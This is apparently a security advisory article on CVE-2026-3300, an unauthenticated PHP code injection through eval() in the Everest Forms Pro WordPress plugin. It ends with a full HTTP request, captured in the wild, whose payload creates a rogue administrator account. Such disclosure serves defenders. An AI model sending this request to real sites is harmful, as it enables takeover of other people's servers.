A critical vulnerability has recently been discovered in the WordPress plugin Everest Forms Pro, a tool used by approximately 4,000 active sites to create and manage advanced forms. Identified as CVE-2026-3300, this security flaw perfectly illustrates how a design error in user data handling can lead to a complete compromise of a website.
Rated 9.8 out of 10 on the CVSS scale, this vulnerability allows an unauthenticated attacker to execute arbitrary PHP code remotely, opening the door to full server takeover.
A critical vulnerability in the plugin’s calculation engine
The issue lies in the “Complex Calculation” feature used by Everest Forms Pro to perform dynamic calculations based on data submitted in a form.
To execute these calculations, the plugin uses the PHP function: eval()
This function is very dangerous because it executes PHP code in text form.
The problem is that data sent by the user is directly inserted into the PHP code before being passed to eval().
In simple terms:
$code = "$FIELD_1 = '$user_input'";
eval($code);
If a malicious user sends:
'; malicious_code(); //
The code becomes:
$FIELD_1 = '';
malicious_code();
//';
and PHP then executes the attacker’s code.
The plugin uses sanitize_text_field(), but this function sanitizes certain characters but does not escape apostrophes (‘) used in PHP code. Researchers discovered that an attacker could break out of the string and then inject their own PHP code. This is called PHP Code Injection, which then leads to Remote Code Execution (RCE).
Observed attack example
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
everest_forms[id]=2909&everest_forms[form_fields][svbtwqPN9R-2]=';if(!username_exists('diksimarina')){wp_insert_user(array('user_login'=>'diksimarina','user_pass'=>'[redacted]','user_email'=>'diksimarina@gmail.com','role'=>'administrator'));echo 'ADMINCREATED';}else{echo 'ADMINEXISTS';} //&everest_forms[form_fields][eluWudCcdM-1]=test&everest_forms[form_fields][email]=test&everest_forms[form_fields][rVuWSql19Q-3]=test&everest_forms[form_fields][rwkAbDLqrq-7]=test&everest_forms[form_fields][LKLn7arQDU-5]=test&action=everest_forms_ajax_form_submission&security=cd840335ff